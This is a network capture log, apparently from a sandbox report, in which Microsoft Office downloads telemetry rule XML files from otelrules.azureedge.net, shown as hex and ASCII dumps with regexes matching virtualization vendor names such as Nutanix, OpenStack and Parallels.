2024-10-30 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4272afd-e01e-0033-057f-294695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221129Z-17c5cb586f672xmrz843mf85fn00000007k000000000bzks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:29 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221129Z-16849878b78z2wx67pvzz63kdg000000077g00000000gawk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221129Z-16849878b7828dsgct3vrzta7000000006yg00000000wfzy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221130Z-159b85dff8fgxq4qhC1DFWxa0n00000000wg00000000d9k8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221130Z-17c5cb586f6f8m6jnehy0z65x40000000800000000007036 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:30 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d518f54b-201e-006e-10e8-28bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221130Z-15b8d89586fmhjx6a8nf3qm53c00000002fg00000000bznx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221130Z-16849878b7867ttgfbpnfxt44s00000008g000000000eydt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:31 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: e05d2f30-201e-006e-17a7-2abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221131Z-159b85dff8fq4v8mhC1DFW70kw000000016g0000000029sr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 5b2d2bb9-d01e-0028-519c-277896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221131Z-15b8d89586fzhrwgk23ex2bvhw0000000bkg00000000cmmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 1048e377-301e-0000-11d0-2aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221131Z-17c5cb586f6ks725u50g36qts800000000p000000000esv0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221131Z-16849878b78nzcqcd7bed2fb6n00000000yg00000000zt08 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221132Z-16849878b78x6gn56mgecg60qc0000000ad000000000ns17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

